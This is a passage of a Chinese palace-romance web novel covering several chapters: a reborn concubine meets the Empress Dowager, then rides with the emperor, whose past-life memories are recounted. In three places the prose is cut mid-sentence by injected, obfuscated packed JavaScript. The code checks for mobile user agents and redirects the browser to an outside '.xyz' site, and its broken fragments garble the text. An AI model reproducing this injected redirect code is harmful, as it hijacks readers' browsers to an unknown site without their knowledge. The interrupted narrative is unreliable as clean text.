她很快梳洗了,又用了早膳。先前内廷女官曾提醒过容棠,太后每日晨起后会先在小佛堂礼佛,不见外人,直到巳初过后才回到寝殿,到那时才可以前去问安。 时辰还早。容棠坐在窗边的榻上,一面小口抿着茶,一面情不自禁有些紧张。那次宫宴上露面的太后观之可亲,可她不知道如今的身份和地位下,太后还会不会如当初那样和蔼。 毕竟,萧凛不肯选她的外甥女做皇后,执意选自己为贵妃。太后会不会对她心怀不满? 不过她转念一想,太后即便不喜她,也应当会做做样子,维持表面和气的。先前宋姑姑说过,皇太后性情慈和,宫中人尽皆知。倘若她头一回去拜见,太后便为难她,传出去岂不是有损她老人家的名声?至于日后,她会恪守礼仪规矩,让人明面上挑不出错处。而太后深居简出,她们便井水不犯河水罢了。皇室中人,最重视的便是体面。堂堂太后若是和她一个妃子过不去,那可就有失身份了。 容棠想到这里,心中轻松了一些。 她倚在窗边,随手翻了几本书。此时日光正好, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15864251|174452||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沐浴在这样暖融融的光线中,容棠情不自禁泛起一阵倦意。 她昨夜被那噩梦所扰,虽然后来在安息香的作用下睡着了,但早上醒来时依然觉得头昏脑胀。容棠嘱咐烟雨记得按时唤醒自己,便靠在身后软枕上合上了眼。 萧凛下朝回来,原本要回后殿东间略坐片刻,却又陡然想起什么,脚步一转,便往玉宁堂去了。 外间侍奉的宫人见状正要行礼,被他挥手止住,令她们各自退下。他抬手掀起金丝软帘,慢慢走进去,恰见容棠面前放着本翻了一半的书,而她一手支着头,另一只手松松地搭在书页上,指尖微微蜷起,呼吸微沉,似乎睡着了。 他止住了步子,停在原地一时未出声。 日光慵懒,轻浅如纱,柔柔地落在她周身,将她的眉眼镀上一层微光。她手边的茶盏冒着袅袅雾气,须臾又飘散开来。 无论是从前的乾恩殿,还是如今的福宁殿,都从未有过这样恬淡安然的样子。偌大的宫殿,大多数时候都被往来不绝的朝臣环绕着,朝事如流水般前仆后继,从无断绝。他从没有闲心摒除掉那些要事,独自一人享受这样的辰光。 可从这一刻起,福宁殿却好似多了些什么。 他回神,缓缓吐出一口气,鬼使神差地没有唤醒她,而是在长炕的另一边坐下了。 程良全送了茶进来,见陛下独自坐在旁边,贵妃则睡得正熟。他心中微微一动,轻手轻脚将茶盏搁在了炕桌上。 萧凛侧眸看了眼容棠。离得近了,他发觉她眼下有淡淡的青黑,在白皙的皮肤上显得格外显眼,不由得皱了皱眉。 程良全侍奉在侧,把他的神色波动看得一清二楚,踌躇半晌才低声开口:“陛下,昨夜大约子时三刻,玉宁堂这边有些动静。娘娘被梦搅扰而惊醒,便派身边的婢女向奴婢要了些安息香。因那时陛下正在读书,奴婢不敢打扰,便自作主张给了。” 他顿了顿,又道:“另外玉宁堂侍奉的宫人依稀听见娘娘自梦中惊醒时,似乎唤了......陛下。” 萧凛眉峰轻微一蹙,看向沉睡中的人,心中有些不解。 她既然睡得不安稳,惊醒后又下意识唤了自己,必然也是期盼自己能去陪她的。既如此,她为何没有借机将动静闹大,从而引得自己察觉,顺理成章前来看她呢?他恍惚记得先帝在时,便曾有爱撒娇撒痴的妃嫔会借着身子不适或是梦魇的由头,变着法子想请先帝来一趟,甚至还有敢把先帝从旁人宫中请走的。 而先帝不以为忤,反而对那些妃子十分宽容耐心。年幼的他看在眼里,心中羡慕,便灵机一动效仿,借着一场风寒,想让父皇陪在自己身边。可先帝却勃然变色,斥责他软弱,毫无皇子之态,最终拂袖而去。自那之后,即便被病痛折磨得意识模糊,他也没有再声张过,没有再泄露过一丝一毫脆弱的情绪。 而她又是为何不愿让自己知晓?萧凛静默片刻,忽然想起昨夜那碗冷了的醒酒汤,心中疑惑顿时解开。 她不愿惊动自己,唯恐扰了自己的政事。这样的她,与当年的自己何其相似。不同的是,她这番举动全然出自本心,是她心甘情愿的。 而自己,则有千万般的无可奈何与身不由己。 他自嘲一笑,却见斜倚在炕上的人动了动身子,低低“嗯”了一声,随即缓缓睁开眼。 她眼底有几分尚未散去的迷茫与懵然,却猝不及防与他的目光对上,顿时呆愣在原地。 萧凛看着容棠呆愣的模样,只觉得这样的她比之昨日那个盛装华服的贵妃,更多了几分鲜活的可爱。 20. 牵手 容棠怀疑自己是不是没有睡醒,亦或是睡太久出现了错觉。否则她怎么会看见萧凛一声不响地坐在对面,静静看着自己,甚至还莫名其妙地冲自己笑? 她坐直身子,下意识要起身请安,却被萧凛一摆手止住了:“不必闹那些虚礼了。” “陛下何时来的?臣妾竟全然不知。”容棠微赧。 萧凛道:“不久。朕瞧你睡着,便没让人吵醒你。” 他端详着她的面色,问道:“昨夜睡得不好?” 容棠本想否认,但听着他语气里的笃定,情知隐瞒不过去,便如实点点头:“臣妾昨夜做了个怪梦,心慌之下从梦中惊醒,后来在寝殿里点了安息香便无事了。” 说着,她忍不住再度看了眼好端端坐在面前的萧凛,再想想那个梦,依旧心有余悸。 她不愿多提那个梦,便转而问道:“陛下昨日多饮了酒,今日是否有什么不适?” 萧凛看着她关切的模样,想起那碗放凉了的醒酒汤,不知为何心底涌起一股异样的情绪。他垂眸,声音转柔:“朕无事。贵妃有心了,特意嘱咐人送了醒酒汤。” “倒是你,是不是在福宁殿有些不习惯?”他道。 容棠连忙摇头:“并不是福宁殿的缘故。臣妾只是......初初入宫,有些不适应,即使在长乐宫也一样。陛下放心,臣妾会很快适应好宫中的一切的。” 萧凛却想起她入宫的第一晚,她起初也有些拘谨,但不多时便睡熟了。难道是因为他在身边,她才睡得更安心些?而昨晚,她骤然换了居室,又是独寝,才会不得安眠? 他若有所思,顿时百感交集。 两人就这样相对无言,静坐了许久,直到程良全禀报道:“陛下,户部尚书求见。” 萧凛嗯了一声,起身向外走去。 容棠目送萧凛离开,这才如释重负地重新在炕上坐下。不多时,烟雨掀帘进来,容棠见状便道:“陛下来时怎么无人通传?我竟然当着他的面睡了那么久。” 烟雨面露无奈:“陛下不准奴婢们出声,还让奴婢们都退下。”说着,她又好奇问道:“娘娘,陛下不曾叫醒你吗?” 容棠懊恼道:“是啊。我醒的时候,冷不防瞧见一个人正坐在对面,当真是吓了一跳。” 烟雨啧啧赞叹:“陛下真是心细如发,对娘娘如此体贴,生怕扰了娘娘的好梦。”言罢,她眨了眨眼,小声道:“娘娘,奴婢有个大胆的猜测不知当不当讲。” 容棠托腮看她:“若我说不当讲,你能藏得住话吗?” 烟雨嘿嘿一笑:“还是娘娘了解奴婢,奴婢确实是个憋不住心事的人。” “说吧。” “奴婢冷眼旁观,觉得陛下对娘娘确实与众不同,说不定当初陛下召娘娘进宫,真的是出自真心呢。”烟雨道。 容棠品着她的话,说道:“与‘众’不同?可这宫中何来的‘众’呢。” 烟雨道:“虽没有其他妃嫔,可陛下的态度和举止却让人看得分明。娘娘想想,陛下贵为天子,却心甘情愿等着娘娘自然醒转,甚至昨晚酒意未散却还领着娘娘去逛了御花园,这般耐心,可不是人人都能做到的。” 容棠道:“陛下是君子,行事当有君子之风。” “那娘娘对陛下呢?”烟雨道,“昨晚娘娘睡梦中还唤了陛下呢,莫不是想念陛下了?” 容棠张了张口,却无从解释。她总不能说是因为梦见了萧凛坠马而死,一时惊恐才脱口而出的那声呼唤吧?这等大逆不道的话,她只敢藏在心底,哪里敢让旁人知晓?即便是烟雨这样的亲近之人,她也无法随意倾诉。 她挥了挥手,逃避般地道:“快别说这个了。我得想想待会去启祥宫该如何应对太后的问话。” 烟雨便不再言语,只静静候在一旁。然而这种事情,若非亲身经历,空想又能想出什么呢?容棠想得头痛,索性破罐子破摔:“罢了,船到桥头自然直,到那时我见机行事吧。” 她就这样心事重重地想了片刻,意识到还得回一趟长乐宫换身衣裳和装束,这才迈步出了殿门。 容棠犹豫了一下,觉得自己是该去向萧凛说一声,而不是不声不响就走了。她沿着长廊来到门前,恰好叫程良全侍奉在外,便问道:“程公公,陛下在吗?” 程良全低声道:“陛下正在与户部尚书谈论要事,吩咐了不许人打扰。” 容棠了然,便道:“那劳烦公公待陛下得了闲禀报一声,因今日要去启祥宫拜见太后娘娘,这会子我需要回长乐宫一趟,就先向陛下告退了。” 程良全点点头:“娘娘放心,奴婢一定把话带到。” 容棠向他颔首,随即转身向殿外走去。 回了长乐宫,容棠来不及歇息,便命人开了箱柜,找出衣裳和首饰。 今日是拜见长辈,她便穿得很是庄重大方,并没有太多华丽的佩饰,一切都简单而素雅。对着铜镜再三检查一番,又由飞雪等宫女轮番确认没有问题后,容棠上了辇,一行人便浩浩荡荡地往启祥宫去了。 启祥宫内檀香袅袅,容棠甫一踏入,恍惚以为自己来到了佛寺。太后果然是一心向佛,连寝殿都满是佛家气息。 她随着宫女进了内室,一眼瞧见太后正坐在上首,手中正把玩着一串佛珠,闻声目光徐徐落了过来。 容棠敛裙拜倒,恭恭敬敬道:“臣妾长乐宫容氏,向太后请安,愿太后凤体康健,万福金安。” 太后道:“起来吧,坐下说话。” 今日的太后与当日万寿宴上的太后并无太大分别,一样的慈眉善目,容棠原本紧张的心绪顿时略略安定了下来。 她在绣墩上坐了,双手规规矩矩压在裙上,面上浮起一个温婉的笑,默默任由太后打量着。 太后面色没什么波动,只道:“官宦人家的女孩儿,总归是知书达礼的。你入宫才两日,便惦记着来向哀家请安,很是懂事。” 容棠低眸,谦卑道:“拜见太后是臣妾的本分。” 太后嗯了一声:“抬起头来,让哀家瞧瞧。” 容棠依言抬头,只是并未和她对视,只恭谨地垂着眼睛。 许久,太后蓦地一笑:“果然生得标致齐整,怨不得皇帝喜欢你。” 容棠心中一紧,忙道:“太后谬赞了,臣妾愧不敢当。臣妾蒲柳之姿,承蒙陛下眷爱得幸入宫,今后定会恪守规矩,好好侍奉太后和陛下。” 太后道:“你不必心生惶恐,皇帝既然选了你,那便说明你有过人之处,担得起贵妃之位。今日是你册封礼后头一回来拜见,哀家自然有几句话要嘱咐你:往后,你在皇帝身边要好好服侍他,尽到嫔妃的职责,切不可恃宠生骄,争风吃醋。哀家年纪大了,只希望后宫和和睦睦,如此于皇帝的前朝也有助益。” 她顿了顿,又淡淡道:“你是贵妃,又刚刚入宫,皇帝格外宠爱你也是情理之中,只要你要晓得轻重与尊卑。既然身居这个位置,就该好好拿出贵妃的气度和本事,勤恳侍上,管理宫务。如今后宫无人,你还年轻,往后日子还长着,你就当先历练历练吧。” 容棠抿唇,听出了太后的言外之意。显然,在太后心中,这后宫往后会有越来越多的妃嫔,而自己既是最早入宫,又身居高位,更应该懂得雨露均沾的道理,不能仗着皇帝的宠爱而肆无忌惮。至于尊卑之分,太后这是在提醒她,她即便是四妃之首,但将来皇帝还是会册立皇后,她即便再受宠,也不能生了僭越之心。 皇后和妃嫔尚未入宫,太后便已经急不可待地敲打她,暗示她了。她不由得苦笑,正要老老实实应下,却听见门外传来一个声音:“母后多虑了。这后宫乃是朕的后宫,如何安排,朕自有主意。” 太后面色微微一凝,语气变得温和:“皇帝来了。” 萧凛一撩袍角,俯身向太后请安。容棠在一旁看着,想着宫外传闻果然是真的,陛下虽不是太后亲生,却十分恪守为人子的礼节,一举一动都彰显着孝心,行礼也毫不含糊。 而另一个念头,则来得有些不合时宜。她还是头一回看见高高在上的皇帝做出这样的动作,他撩动袍子时那严肃而认真的模样,颇为英姿勃发。不得不说,即便他的身子低了下去,但动作却还是透着不可忽视的贵气和为君之风范。 容棠一面想着,一面忙起身向萧凛行礼。 “坐吧。”太后摆了摆手。 萧凛直起身子,却没急着落座,而是向着盈盈拜倒的容棠伸出手,竟是要亲自扶她起来。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15869667|174452||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 容棠愣了愣,望着面前那只骨节分明的手。他的掌心宽阔,看起来很是可靠。她微一晃神,下意识地将自己的手放了进去。 萧凛的手指有些凉,松松地握住了她的手,拇指指腹无意间划过她的手背,像玉石泠泠。他稍一用力,便牵着她站起了身,待她坐下,才不动声色松开。 太后将一切尽收眼底,很快移开了目光。 萧凛在容棠身边坐下。太后端详着他,和颜悦色道:“皇帝怎么这个时候来了?” “儿子记挂着母后,原本该同贵妃一道来给母后问安的,谁知被朝政上的事情耽搁了,便来迟了一步,”萧凛说着看了眼容棠,淡淡笑道,“贵妃还年轻,许多事情还是留给她自个历练吧,母后只管安享天伦之乐便是。若是后宫的事情还要累得母后操心,岂不是儿子的不孝?母后一向潜心礼佛,儿子不愿用俗务扰了母后静修。” 他语气温和,却不容拒绝。 太后气息一顿,半晌才勉强笑笑道:“贵妃聪慧,哀家不过略嘱咐她几句,也是为了皇帝着想。” 萧凛道:“母后且请安心。朕相信贵妃。” 他既然来了,太后也不好再对容棠说教什么,只能按捺住情绪,又问起他这些日子的起居饮食,语气殷殷,话里话外颇为关切。萧凛一一答了,同时也不忘问候太后几句。 母子二人言笑晏晏,很是融洽。 不多时,太后阖了阖眼,端起茶盏浅浅抿了一口,慢慢开口道:“哀家年纪大了,素日吃得清淡,皇帝却还年轻,又日理万机,须得好好进补。既如此,哀家便不留你们用膳了。” 她挥了挥手,命宫女将准备好的赏赐奉给容棠:“哀家只盼着早些过上含饴弄孙的日子。皇帝喜欢你,你便好好侍奉,为皇家开枝散叶。” “臣妾谢太后赏赐。”容棠屈膝谢恩,双手接过。 不用在太后眼皮子底下拘谨地用膳,她顿时松了口气,随萧凛向太后行了礼后,便离开了启祥宫。 踏出宫门,容棠仰头看了眼正高的日头,不易察觉地舒了口气。在太后宫里紧绷着身体坐了这么久,还真有些累。 萧凛看着她这细微的神情变化,唇角似乎动了动,随即正色开口:“送贵妃回长乐宫。” 容棠听他的语气,似乎是要回福宁殿。她略一思索,柔声劝道:“快到午膳时候了,陛下忙于国事的同时,也要顾及着身子。” 这样一番话说下来,她觉得自己颇有贤妃的风范,很是满意。 萧凛看着她认真的样子,心中微微一动,下意识解释道:“朕不是要回福宁殿批折子,而是要去宫中的马场松松筋骨。” 去马场……那岂不就是要骑马? 梦中的情形瞬间上心头。容棠用尽毕生力气才克制住自己没有露出惊恐的神情。她没想到,昨夜的梦这么快就要应验了? 她垂下头,用力咬住唇瓣,心中快速思量着。若是昨日没有做那个梦,或许她可以对此事毫无波澜。虽说前世萧凛坠马而亡是一年后的事情,但是谁又能说得准呢。譬如前世她并未入宫,重来一世后,一切不也大相径庭了? 容棠几乎有些怀疑,莫不是自己的重生同样也改变了这一世所有既定的事实,否则怎么会接二连三出现意料之外的事情。 她想了又想,还是没法完全忘记昨日那个可怕的梦。与其担惊受怕,不如设法同去。正好,她也许久没骑马了。 主意已定,容棠抬眸,对上萧凛的目光,口唇一动,便欲说话。 萧凛觉得她的神情似曾相识,那日宫宴上她劝自己莫要饮酒时,也是这样。他不动声色,静静等着她开口。 容棠望着他,语气里满是期盼:“陛下可否带臣妾同去?” 萧凛微拧眉:“这个时辰贵妃不回宫去歇晌,为何忽然要去骑马?” 他的语气里饱含探究和疑惑,自己该怎么回答才滴水不漏呢。容棠急中生智,脱口而出:“臣妾只是想......和陛下多待一会儿。” 此话一出,侍立在侧的宫人们顿时默契地低下了头,眼观鼻鼻观心,不敢发出任何声音,心中却纷纷掀起惊涛骇浪:贵妃说话竟如此直白! 萧凛没想到她会这样说,一时间愣在原地。 21. 骑马 晌午的风颇有些温热,吹过面庞时有明显的燥意,加之被那明晃晃的日光一照,脸颊愈发有发烫的趋势。 萧凛轻咳了一声,好半天才找回自己的声音:“......既如此,贵妃便与朕同去吧。” 容棠心中一喜,说道:“请陛下先行一步,容臣妾回宫更衣。” 萧凛点头,率先转身上了御辇,步伐略有些快,好似要掩藏什么。 容棠没注意这么多,只知道在说出那番话后,她的耳根有些灼热。直到坐上贵妃的仪仗,一颗心跳得依然有些乱,她不禁抬手捂了捂脸,羞赧于自己竟然对着萧凛说出了那样的话,还被那么多人清清楚楚听在耳中。 但那般情形下,唯有这句话最纯真无害,又符合她妃嫔的身份。容棠深吸一口气,平视前方,暗暗给自己鼓劲。罢了罢了,不过是一句话而已,妃子想和皇帝待在一起是人之常情。况且她既然打定了主意要多和萧凛待在一处,那么明面上自然要表现得对他情深似海才不会引人怀疑。 她心神稍定,很快回了长乐宫换了身易于行动的衣裳,匆匆赶去了马场。 容棠到了地方时,看见萧凛正和一个人面对面站着说话。那人一身骑装,腰悬佩剑,显然是个武官。 “陛下。”容棠上前屈膝请安。 萧凛侧眸看过来,目光微微一凝。 她穿了身枣红色的骑装,愈发衬得肤白胜雪,整个人显得格外朝气蓬勃。这样明媚动人的少女,可以想见她在马背上该是怎样风采夺目,萧凛禁不住怔了片刻才回神。 那武将俯身行礼道:“臣见过贵妃娘娘。” 萧凛说道:“这位是禁军统领陆豫,亦是朕自小的伴读。” 容棠向着他颔首示意。 陆豫看看两人,犹豫道:“陛下是要——” 萧凛道:“为贵妃选一匹温驯而健壮的马。” 陆豫领命去了,萧凛转头看向容棠,见她热切地盯着马场,显然对此事很是向往,那双眼睛里漾满星星点点的光。 自从那次受伤后,容棠再也不曾骑过马。虽说“一朝被蛇咬十年怕井绳”,但她心中的跃跃欲试还是盖过了后怕。再说了,宫中的马都是训练有素的,她不必担心出什么差错。 她想着,忽然觉得身畔有些安静,便转头去看萧凛,却见他正看着自己,顿时面色一红,道:“陛下为何这样看着臣妾?” “要不要朕教你骑马?”萧凛笑问道。 容棠尚未答话,侍奉在侧的宫人们不约而同露出了期盼的表情。陛下要亲自教贵妃骑马?那两人就会共乘一骑,陛下会手把手教授贵妃,那情形一定很是赏心悦目,他们很想一饱眼福。 然而容棠并未察觉到皇帝话音里的温柔,而是颇为自豪地开口:“谢陛下,臣妾会骑马。” 众人:“......” 他们有些遗憾于她的不解风情,唯有萧凛垂眸,淡淡笑了笑道:“多久不曾骑马了?” 容棠回忆了一下:“数月了,也不知生疏了没有。” “既如此,”萧凛道,“你莫要贸然跑动,还是先纵着马在场上走几圈吧。” 他吩咐内侍过来牵着马,容棠抿唇,有些不甘心地道:“陛下,臣妾——” “不准逞强。”萧凛的目光淡淡落向她额头。那里光洁如玉,丝毫看不出受伤的痕迹。但是他知道,那儿曾有过触目惊心的伤。 容棠无奈,只能老老实实坐稳,任由马儿慢悠悠地走着。她偶一转头,看见萧凛正和陆豫说着话。片刻后,内侍牵出一匹马,萧凛抚了抚马儿的鬃毛,干脆利落地翻身上马。陆豫紧随其后。 宫中的跑马场很是宽阔,萧凛虽未纵马疾驰,但也轻抖缰绳,让马轻快地小跑了起来。 他一身宝蓝色劲装,勾勒出挺直的腰背和孔武有力的手臂线条。马背上的萧凛神色一派轻松自然,显然十分享受这种感觉。 容棠看着他,不由得自心底感叹:陛下果然生了副足以惑人心神的好皮囊。 她瞧得眼热,便向那内侍道:“不必牵马了,让我自己骑。” 内侍为难道:“娘娘,这是陛下的命令,奴婢不敢抗旨。” 容棠鼓了鼓嘴,顿时觉得索然无味。恰在此时,萧凛兜了两圈后回到了起点,一眼瞧见她正捏着缰绳闷闷不乐的样子。那纤细的眉蹙在一处,唇微微撅着,是独属于女孩儿家的娇憨和可爱。 他勒住马,不由得想起数月前的事情。 自打魂魄出窍又再度活过来后,一切都和前世没有什么区别。他每日按时上朝,处理政事,直到太后特意唤他前去,婉转地提起了选秀之事。 萧凛知道太后的用意,不过就是想借机把她那视若珍宝的外甥女扶上凤位,来个亲上加亲。太后母家已然凋零,但忠远侯府却炙手可热。况且,太后确实也很疼爱她的外甥女。 他意兴阑珊地离开了启祥宫,心中毫无波澜。前世与这一世,他都不会改变主意,更不会让顾氏成为自己的皇后。 且不说他对那位顾姑娘没有半分情意,侥幸重活一世,萧凛哪里有什么多余的心神去思索情爱之事,他只想查清前世的无数谜团,为自己报仇雪恨,将这皇位稳稳当当、长长久久地坐下去,护佑大燕的大好江山。 只有等这一切爱恨情仇解决的那一日,或许他才会沉下心来去想这些身外之事。因此,萧凛打定主意不会违背前世的决定,准备一如往常将选秀之事驳了。太后即便是长辈,是他的养母,也不可能随意做他的主。 只是前世自己的死疑点重重,他纵有怀疑,却苦于无证据,只能派人暗中探查。偏生那些时日,他常被噩梦所扰,烦闷之下,便微服出了宫,去了京郊那座颇具盛名的钟福寺,想在幽幽钟声和袅袅檀香中得到片刻的心安和宁静。 那一日,佛寺大殿恰好无人。他拈香祝祷后转身离开时,恰好与一少女擦身而过。他眼波随意一扫,看清了那双灿若星辰的眼睛,心弦仿佛被猛地拨动,颤抖不已。 那熟悉的轮廓,与前世灵前那倔强而不屈的少女如出一辙。他意识到,这便是那个对自己痴心一片、最后撞死在棺前的人。 萧凛霍然停住步伐,回身看去,少女已经在蒲团上盈盈跪下,乌黑的发髻如柔软的云团,发上的珠花小巧可爱,随着她的动作微微晃动。 这便是......尚未入宫时的她吗?他有些恍惚,这时的她还是言笑晏晏的鲜活模样,可一年后便那样惨烈地为自己而死。 萧凛心情复杂,收回目光离开了。 可他的步伐好似生了根一般,在殿外伫立许久,始终没有走。他看着少女走出大殿后,左顾右盼一番,便如怀揣着什么要紧事情一样匆匆向佛寺的东面走去。 萧凛也不知自己着了什么魔,竟像中了蛊一样,情不自禁迈步跟在了她身后。或许是前世那一幕留在他心头的烙印太过深刻,或许是那双眼睛让他久久不能忘怀,总之当他反应过来的时候,已经目送那少女进了东面的一处院落。 方才来的路上,他听见了旁人的絮语,说这院落里有一棵灵树可以许愿祝祷,尤其是求姻缘十分灵验。若是从前,萧凛自然不会对这种风花雪月的传闻有什么兴趣,可今日,他却忍不住自心底腾起一股好奇。难道,她是去求姻缘的吗?那么她所求之人,会不会是...... 萧凛眼中的情绪淡了淡,难道她是想求灵树庇佑她能入宫为妃,进而攀龙附凤,飞黄腾达吗?她对自己到底是真心实意,还是更在意荣华富贵? 他站在原地许久,才抬步向院子走去,停在了围墙外。山风悠然清凉,将少女清润甜美的嗓音缓缓送入耳中。 “......愿陛下龙体康健,平安顺遂,长命百岁,福泽万年。”她语气恳切,字字句句皆是发自肺腑。 萧凛垂眸,眼瞳深处波澜乍起。他没想到,这个素不相识的少女竟会为高高在上的天子虔诚祈求,这般认真地盼着他一切都好。他贵为天子,富有四海,自有祖宗龙脉庇护,又何须她祈愿? 可她还是这样做了。她没有向灵树求尊贵的名分和地位,而将宝贵的心愿全部给了他。 他一时无言。在十数年的宫廷岁月里,从未有一个人这般不计结果、不顾回报,只是单纯地念着他这个人本身,愿意倾尽全力对他好。 旁人只知道他是千尊万贵的天潢贵胄,却无人知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15874519|174452||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道他那痛楚而冰冷的童年。而他既然是天子,就不能让任何人轻易窥探出自己脆弱的那一面。久而久之,萧凛已经习惯了用一副喜怒不形于色的面孔去应对所有人。 然而此时此刻,他觉得那颗冰封起来的心,似有冬去春来的回暖趋势。 待那少女离开,萧凛淡淡吩咐身边的人:“去查清她的身份底细,回禀给朕。” 宫中的人办起事来飞快而稳妥。不过一日,详细的奏报便出现在了他的御案上。 他看清她父亲是何人时,微微松了口气。幸好,她不是......那边的人。 密报上说,容氏女数月前因坠马而昏迷多日,额头受伤,只到半月前方才痊愈。萧凛难得地怔忡了片刻,他与她竟如此缘分匪浅吗?她竟也有过坠马重伤的经历。那么前世,她得知自己死于坠马时,该是怎样的痛彻心扉? 他抬手覆在密报上,慢慢叹了口气。 ...... 身下的马儿忽地打了个响鼻,萧凛回神,目光重又聚焦在少女皱成一团的脸颊上。方才他刻意出言试探,便是想看看她究竟会不会隐瞒自己会骑马的事实,从而让自己亲自教她。 果然不出他所料,容棠虽对他一往情深,想要和他待在一起,却也有自己的原则,不会用谎言来欺骗他,从而达到目的。她的喜欢,是堂堂正正的,而不是耍手段和心机。 正因如此,他心中浮起一丝淡如轻烟的怜惜之意,她确实是一个很好的姑娘。他身为君王,既然召她入了宫,便不能冷待了她。 萧凛很快催动马匹向她驰去。 他下了马,几步来到了容棠面前,对上她诧异的目光只勾了勾唇,便命那内侍退下,自己利落地翻身上马。 容棠只觉得身后蓦地袭来一股温热,男人的身躯贴近了她,双手越过她身侧握住了缰绳,略略一动便会隔着衣裳触碰到她的腰。 她从未和男子这样亲密地接触过,顿时呼吸一乱,整个人都僵硬了起来。萧凛虽不是和她紧密地贴在一处,还是留了些许距离,但他灼热的气息尽数落在她后颈处,酥酥麻麻,热意燎原。 容棠魂不守舍,好半晌才定下神来,耳边听见萧凛道:“朕不放心,还是亲自与你共乘一骑吧。” 他说话时,她下意识侧头去听,于是他的嗓音便更顺畅地落入她耳中,气息也如一股热流般在耳畔涌动。 说罢,萧凛便一提缰绳,低低道了句“驾”,马儿应声迈开蹄子,轻盈地奔跑了起来。 马比方才那内侍牵着时跑得快多了,细微而轻柔的风拂面而来,容棠深深吸了口气,这才久违地找回了一些骑马的乐趣。 她仰头,恰好碰上他的下颌:“陛下可不要小瞧了臣妾,其实臣妾未入宫时很擅骑术的。” 那次坠马,其实是因为那日她身子不适,又恰好遇见了阴云密布、狂风骤雨的天,一时不慎,才不小心出了意外。 萧凛似乎闷闷地笑了笑,说道:“朕相信你。来日,朕与你好好比试一番,如何?” 容棠高兴起来:“一言为定。” 她笑着,耳坠上的珍珠随着马儿奔跑的幅度而在风中摇曳,那晶亮的光华也落在场下众人眼中。他们不约而同露出了愉悦的笑容。 瞧这多是一幅郎情妾意的美好画面啊。陛下拥抱着贵妃,亲密地与她骑着同一匹马,那握着缰绳的手似有若无地触碰过她的手,两人的衣角也飞舞纠缠着,如打翻了蜜罐子一样黏在一处,一刻也不曾分离。 容棠自然无暇去看旁人的神色,她所有的注意力都在身后那个人身上。随着马儿前进的动作,她的身体不可避免地前后晃动着,若是往前倒也罢了,一旦向后,便会靠在他坚硬的胸膛上。而萧凛大概是真的想认真地护着她,以至于她整个人渐渐都彻底陷在了他的怀抱里。 罢了罢了,她是他的妃子,即便再怎么亲密也是成体统、合规矩的。容棠努力忽视心头的异样,让自己全身心去享受这样自由潇洒的感觉。她微微闭上眼,正一点一点放松时,忽然听见身后人轻声开口,话音淹没在达达的马蹄声中,随风四散开来。 “你......究竟是何时对朕有情意的?” 22. 抱她 萧凛觉得自己一定是被这漫天风沙冲昏了头脑,才会问出那样幼稚而又可笑的话。 堂堂天子,居然会这样试探妃嫔,真是有失威严。他觉得自己实在多此一举,何必要追根溯源,非得问出个真相呢? 虽然,扪心自问,他也确实很好奇。毕竟在他的记忆里,似乎从未和她有过什么接触,那么容棠身为一个闺中女子,对天子的爱究竟从何而来呢。 身前的少女正兴高采烈着,萧凛垂眸看着她乌黑的发顶,恍然又想起数月前那场万寿宴,他在御花园亲耳听见容棠大胆而又直白地倾诉着对自己的爱慕之情。 谁能想到,堂堂天子竟也会停下脚步偷听别人说话。萧凛自我安慰,那是因为她话中提及了自己,又是那样的真情流露,他才忍不住多听了一会。 原本他真的打算如前世一样心无旁骛的,可后来当内廷向他禀报选秀之事时,他却不由自主想起那个少女,想起她倔强而慨然赴死的模样,想起她热烈而又真挚地倾慕着自己。她既然芳心暗许,一定很期盼着能够入宫与自己朝夕相处吧? 他握着朱笔的手迟疑着,悬而未落。若他再驳了选秀,她的满腔期盼会就此落空,会不会从此郁郁寡欢?最重要的是,她曾经为自己而死,抛开君王与臣子的关系,仅从寻常男女的角度来说,他也注定无法对这样一个人硬起心肠不理不睬。 一向在朝政之事上极有决断的萧凛头一次犹豫了。他没有立刻拿定主意,只说容后再议。而这点细微的迟疑被太后敏锐察觉到,她立刻当机立断,以想念小辈为理由,召了顾氏入宫,又十分自然地派人传话,说自己想念皇帝了,请他来启祥宫一同用膳。 萧凛踏进殿门的那一刻才陡然反应过来,面色顿时沉沉如水。他冷眼看着盛装打扮的顾氏向自己纳福请安,她眼中的羞涩与欣喜衬得那张桃花般的面庞更加娇艳,可他却只从中看到了她的谋求。看来,她心中是无比期盼着能够得到皇后之位的。至于那个皇帝是何人,并不重要。 他淡淡扯了扯唇,觉得这种事情着实腻味得很,因此草草用了膳后,无视了太后含蓄的试探,毫不留恋地离开了。 那晚,萧凛想了许久,终于做出了决定。 他要成全容棠的一片痴心,就当是对前世她那惨烈的命运心生怜惜,希望她这一世能够事事如意一些,不要再那样绝望地死去了。 